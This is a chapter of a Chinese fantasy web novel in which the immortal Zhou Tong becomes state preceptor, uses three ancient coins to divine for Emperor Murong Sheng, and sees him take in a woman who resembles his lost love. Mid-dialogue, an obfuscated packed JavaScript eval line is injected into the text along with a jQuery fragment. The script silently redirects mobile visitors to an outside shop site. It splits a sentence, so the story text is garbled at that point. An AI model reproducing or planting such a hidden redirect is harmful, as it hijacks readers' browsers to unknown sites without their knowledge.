吱呀一声,屋门开了。
周潼从黑暗中走出来,脸上还挂着诡异的微笑。
姜达维心里一咯噔,他刚才看错了吗?周潼抬脚跨过门槛,侧脸隐匿在暗处的那一瞬间,他突然觉得,她不是仙人,而是魔鬼。
“爹,既然慕容晟想见我,那就见见他吧!”
她说起这话时,像极了主人对下人奖赏的语气。
姜达维觉得不太对,但又说不上来哪里不对。
周潼自顾自往前厅走去,跟在她身后的姜达维小跑着跟上她。
姜达维觉得有人在整他,他怎么跑着也跟不上周潼的脚步。
好不容易跟上,就听见一句。
“慕容晟,你找我有何事?”
姜达维差点原地去世,小祖宗,这可是皇帝,他一个不高兴,诛他们九族怎么办?
他赶紧跪地求饶,“陛下恕罪,小女绝不是不敬陛下。”
周潼坐在经常坐的雕花椅上,吩咐春杏,“泡我常喝的茶来。”
“是,小姐。”
慕容晟见周潼根本不把他放在眼里,他直接被气笑了,好,好得很。
他,他忍。
俗话说得好,伸手不打笑脸人,他硬挤出一丝笑,“寒月仙尊,近来可好?”
“别客套了,有事说事。”
见周潼不吃这一套,慕容晟换上了虚心求教的态度,“寒月仙尊,国师的册封礼,是不是该准备起来了?”
“不用准备。”
慕容晟一脸紧张,“为何?”
“吾要闭关,没时间去当国师了。”
“这,寒月仙尊可否再考虑考虑,大雍国很需要您。”
周潼的目光落在了慕容晟身上,他穿着一身明黄色的衣袍,腰间坠着一枚圆形的青纹玉佩,玉冠束发,眉眼如画,是个确确实实的美人。
可惜,怜香惜玉不是她的作风。
“吾刚恢复仙力之时,确实想照拂一下大雍国,但你不愿意,吾细细想过后,与世俗牵扯太多,不利于我的修行,所以这国师一职,吾就让给别人吧!”
“不可,寒月仙尊,再没人比您更适合这国师之位。”
周潼喝了口茶,语气幽深,“慕容晟,当初吾想当国师,你不愿意,如今吾不想当了,你又劝吾当,你究竟是何用意?”
慕容晟立马否认,“寒月仙尊,我没有不让你当国师,我只是想挑个好日子来册封国师。”
“是吗?”
“慕容晟绝无半句虚言。”
“既然这样,国师的册封礼,就准备起来吧!”
周潼本来还想搞个三顾寒月仙尊,但太麻烦了,她更想快点拿到上古铜钱。
国师的册封礼办的无比隆重,不仅文武百官、后宫嫔妃全到了,就连都城的百姓都来了不少。
但只有一点不尽如人意,这场册封礼的主角,仅仅露了一面,就不见了踪迹。
周潼忙着去领取奖励,三枚上古铜钱出现在她手中,只是它们又旧又破,看起来很难看。
与此同时,“我的”按钮上出现了一个红点。
她点进去一看,发现了很多空格子。
“这是放东西的吗?”
下一秒,第一个格子上出现了三枚铜钱的图案。
而图案下面,写着一行小字。
“占卜命运之人,需要付出相应的代价。”
她意有所动,原本灰扑扑的铜钱,发出了耀眼的金光,它们焕然一新,恢复了本来面目。
周潼想试试占卜之术,于是她去找了慕容晟这个小白鼠。
不过为什么慕容昱这家伙也在宣德殿,她的兴奋劲儿,顿时少了大半。
“寒月仙尊,你刚才去哪儿了,我到处都找不到你。”
“吾的事,你不必多问。”
慕容晟还没说什么,慕容昱不干了,直接跳出来打抱不平。
“姜云姒,我皇兄可是皇帝,你太没规矩了。”
周潼不想搭理慕容昱,但他非要秀存在感,那就怪不得她。
“冰封。”
话音刚落,慕容昱发现他的双脚被寒冰冻住,让他无法动弹。
他刚想骂人,他的嘴竟然也被冻住了。
慕容昱说不出话,手臂还不老实,竟然想去抓周潼。
脑袋晃动,手臂乱挥的慕容昱看起来格外滑稽。
周潼没忍住,哈哈大笑起来。
“慕容昱,我觉得你适合去演杂耍。”
被封住嘴巴的慕容昱疯狂给他哥使眼色,但他哥却不理他。
“寒月仙尊,您现在是我大雍国的国师,日后住在国师府如何?”
“可以。”
周潼没忘记她来此的目的,“慕容晟,你有没有想知晓之事,吾可以帮你算算。”
慕容晟没有立刻答应,他觉得没有那么简单。
“寒月仙尊,请您掐指一算的话,需要付出什么?”
慕容晟挺聪明呀!连天下没有白吃的午餐这道理都懂。
“这代价自然跟你想算之事有关。”
慕容晟确实很想知道一件事,一件困扰了他很久的事情。
但这件事,他不方便说给别人听。
“寒月仙尊,可否单独一叙?”
周潼解了慕容昱身上的寒冰,指尖轻轻一挥,他整个人倒飞了出去,重重摔在了殿门外。
殿门在他眼前关闭,隔绝了他的视线。
周潼看向慕容晟,同时拿出了那三枚铜钱。
“你说吧!”
“我曾经喜欢过一个人,我想知道她如今在哪儿?”
三枚铜钱排列整齐,漂浮在周潼面前,她催动铜钱,铜钱不停晃动,直到停止,露出卦象。
一段画面出现在她的脑海中,正是关于那个女子的。
“慕容晟,一个好消息和一个坏消息,你要先听哪一个?”
“坏消息。”
“她死了。”
慕容晟差点没站稳摔倒在地,他日思夜想的人竟然死了,他却根本不知道。
他的嗓音变得颤抖,“好消息是什么?”
“她有一个妹妹,和她长相有九分相似。”
慕容晟不明所以,“这算什么好消息?”
周潼想着慕容昱爱养替身,和他一母同胞的哥哥,或许也爱养替身。
“你难道不想把那张脸放在身边吗?”
“我不会做出这种事,相似的容颜,我根本不在乎。”
周潼没说什么,但她要收取这一卦的代价。
“慕容晟,卦金一两金。”
“这是代价?”
“没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596901|203161||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
错。”
周潼会把这钱捐出去,相当于她算了一卦,什么也没得到,只有一场空。
没好处的事情,周潼不想干。
她整日待在国师府里,根本不出门。
说是不会找替身的慕容晟,狠狠打了脸。
一日,慕容晟便装出宫探访民情,不知怎么回事,他突然跑到了城外不远处的山上,结果偶遇了采药的李彩荷。
他见到李彩荷的第一眼,就呆住了。
“姑娘,你,你叫什么名字?”
李彩荷有些局促,手指绞着衣角,“我,我叫李彩荷。”
她的视线落在慕容晟身上时,竟腾地红了脸,好英俊的男人。
……
周潼在皇宫里看见李彩荷时,意味深长笑了笑。
她记得慕容晟说不在意那张相似的脸,可他却把人接进了宫里,真是说一套做一套啊!
李彩荷看见周潼的第一眼,以为她是妃子,但她穿着一身白衣,头上的发带随风拂动,颇有股仙风道骨的气质。
妃子应该不会穿成这样,她是谁?
周潼消失在李彩荷的视线里时,她还怔怔望着她离去的方向。
慕容晟正在皇后的凤仪宫用膳,本来挺和谐的,但皇后提了一嘴李彩荷后,慕容晟直接放下了筷子,脸色也有些不好看。
“皇后,管好你该管的事即可。”
“陛下,臣妾……”
赵苏陌还没说完,慕容晟竟起身离开了凤仪宫,丝毫不给皇后面子。
他从凤仪宫里出来后,从心来到了李彩荷暂住的春华殿。
原以为他不会对这张与爱人极其相似的脸动心思,如今看来,他是高估自己了。
“彩荷姑娘,朕来看你了。”
李彩荷从殿内走出来,生疏行了一礼,“陛下安好。”
“不必多礼,彩荷姑娘住的可好?”
“挺好的,只是民女不太习惯住在宫中,陛下,民女可以出宫吗?”
慕容晟差点说出那句,你不用出宫,朕封你为妃。
但望着李彩荷那张脸,他就怎么也说不出这话。
“彩荷姑娘,朕过几天送你出宫。你帮过朕,朕是不会忘的。”
他记得与李彩荷初遇那天,有人偷了他腰间挂着的玉佩,他追过去,就撞见了她。
李彩荷见他跑得气喘吁吁的样子,以为他出了什么事。
“公子要是不嫌弃,可以去小女子的竹屋坐坐。”
慕容晟心下激动,面上却不动声色,“会不会太麻烦姑娘?”
“没,没事的。”
慕容晟回宫后,还惦记着李彩荷,日日要找机会去见她一面,甚至还表明身份,以报答她的名义,把她接进了皇宫。
安平郡主府内,
江蕴怡看着她小腿上和手臂上疤痕,再次发起脾气。
“贱人,姜云姒那个贱人,我一定要毁了她的脸,让她也变成一个丑八怪。”
黑柳被她吵得心烦,“闭嘴,你又没毁容,不是什么丑八怪。”
“我如玉的肌肤上有了丑陋的伤疤,都是姜云姒的错。”
黑柳很是不耐烦,“我都说了,可以帮你恢复如初,只需要你付出一点代价。”
江蕴怡面色扭曲,“不行,我不会伤害自己。”